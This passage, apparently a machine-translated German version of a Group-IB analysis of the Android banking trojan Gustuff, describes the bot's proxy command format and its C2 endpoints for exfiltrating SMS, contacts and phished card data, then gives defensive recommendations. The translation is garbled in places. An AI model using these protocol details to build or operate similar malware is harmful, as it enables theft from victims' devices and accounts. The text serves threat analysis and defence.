  • hasGsmSupport – true – wenn das Telefon GSM unterstützt, andernfalls false.
  • simReady – SIM-Kartenstatus.
  • simCountry – ISO-Ländercode (basierend auf dem SIM-Kartenanbieter).
  • networkOperator – Betreibername. Wenn beim Abrufen des Werts ein Fehler aufgetreten ist, wird anstelle dieses Felds eine Fehlermeldung geschrieben.
  • simOperator – Der Dienstanbietername (SPN). Wenn beim Abrufen des Werts ein Fehler aufgetreten ist, wird anstelle dieses Felds eine Fehlermeldung geschrieben.
  • Version – dieses Feld wird in der Konfigurationsklasse gespeichert; für die getesteten Versionen des Bots war es gleich „1.6“.

5. Wechselt in den Modus des Wartens auf Befehle vom Server. Befehle vom Server haben das folgende Format:

  • 0 Offset – Befehl
  • 1 Offset – Sitzungs-ID
  • 2 Offset – Länge
  • 4 Offset - Daten

Wenn ein Befehl eintrifft, protokolliert die Anwendung Folgendes:
mainLog("Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

Folgende Befehle vom Server sind möglich:

Name und Vorname Befehl Datum Beschreibung
Verbindungs-ID 0 Verbindungs-ID Erstellen Sie eine neue Verbindung
SLEEP 3 Uhrzeit Pausieren Sie das Proxy-Modul
TISCHTENNIS 4 - PONG-Nachricht senden

Eine PONG-Nachricht besteht aus 4 Bytes und sieht folgendermaßen aus: 0x04000000.

Wenn der Befehl „connectionId“ empfangen wird (um eine neue Verbindung zu erstellen) CommandConnection Erstellt eine Instanz einer Klasse ProxyConnection.

  • Am Proxying sind zwei Klassen beteiligt: ProxyConnection и Ende. Beim Erstellen einer Klasse ProxyConnection Verbindung zur Adresse herstellen ProxyConfigClass.host: ProxyConfigClass.proxyPort und Übergabe des JSON-Objekts:

 {
    "id":<%connectionId%>
}

Als Antwort sendet der Server eine SOCKS5-Nachricht, die die Adresse des Remote-Servers enthält, mit dem die Verbindung hergestellt werden muss. Die Interaktion mit diesem Server erfolgt über die Klasse Ende. Der Verbindungsaufbau lässt sich schematisch wie folgt darstellen:

Wie der Android-Trojaner Gustuff die Sahne (Fiat und Krypto) von Ihren Konten abschöpft

Netzwerkinteraktionen

Um eine Verkehrsanalyse durch Netzwerkschnüffler zu verhindern, kann die Interaktion zwischen dem CnC-Server und der Anwendung mithilfe des SSL-Protokolls geschützt werden. Alle vom und zum Server übertragenen Daten werden im JSON-Format dargestellt. Die Anwendung führt im laufenden Betrieb folgende Anfragen aus:

  • http://<%CnC%>/api/v1/set_state.php — das Ergebnis der Befehlsausführung.
  • http://<%CnC%>/api/v1/get.php – einen Befehl erhalten.
  • http://<%CnC%>/api/v1/load_sms.php — Herunterladen von SMS-Nachrichten von einem infizierten Gerät.
  • http://<%CnC%>/api/v1/load_ab.php – Hochladen einer Kontaktliste von einem infizierten Gerät.
  • http://<%CnC%>/api/v1/aevents.php – Die Anforderung wird beim Aktualisieren von Parametern gestellt, die sich in der Einstellungsdatei befinden.
  • http://<%CnC%>/api/v1/set_card.php – Hochladen von Daten, die über ein als Google Play Market getarntes Phishing-Fenster erlangt wurden.
  • http://<%CnC%>/api/v1/logs.php – Hochladen von Protokolldaten.
  • http://<%CnC%>/api/v1/records.php – Hochladen von Daten, die über Phishing-Fenster erlangt wurden.
  • http://<%CnC%>/api/v1/set_error.php – Benachrichtigung über einen aufgetretenen Fehler.

Empfehlungen

Um ihre Kunden vor der Bedrohung durch mobile Trojaner zu schützen, müssen Unternehmen umfassende Lösungen nutzen, die es ihnen ermöglichen, schädliche Aktivitäten zu überwachen und zu verhindern, ohne zusätzliche Software auf den Geräten der Benutzer zu installieren.

Dazu müssen Signaturmethoden zur Erkennung mobiler Trojaner durch Technologien zur Analyse des Verhaltens sowohl des Clients als auch der Anwendung selbst verstärkt werden. Der Schutz sollte auch eine Geräteidentifikationsfunktion mittels digitaler Fingerabdrucktechnologie umfassen, die es ermöglicht, nachzuvollziehen, wann ein Konto von einem atypischen Gerät aus verwendet wird und bereits in die Hände eines Betrügers geraten ist.

Ein grundsätzlich wichtiger Punkt ist die Verfügbarkeit einer kanalübergreifenden Analyse, die es Unternehmen ermöglicht, Risiken zu kontrollieren, die nicht nur im Internet, sondern auch auf dem mobilen Kanal entstehen, beispielsweise bei Anwendungen für Mobile Banking, bei Transaktionen mit Kryptowährungen und wo auch immer Transaktionen können durchgeführt werden. Finanztransaktion.

Sicherheitsregeln für Benutzer:

  • Installieren Sie keine Anwendungen für ein mobiles Gerät mit Android-Betriebssystem von anderen Quellen als Google Play. Achten Sie besonders auf die von der Anwendung geforderten Rechte.
  • Installieren Sie regelmäßig Android-Betriebssystem-Updates.
  • achten Sie auf die Erweiterungen heruntergeladener Dateien;
  • Besuchen Sie keine verdächtigen Ressourcen.
  • Klicken Sie nicht auf Links, die Sie in SMS-Nachrichten erhalten.

Mit Semjon Rogatschewa, Junior-Spezialist für Malware-Forschung am Group-IB Computer Forensics Laboratory.

Source: habr.com

Kommentar hinzufügen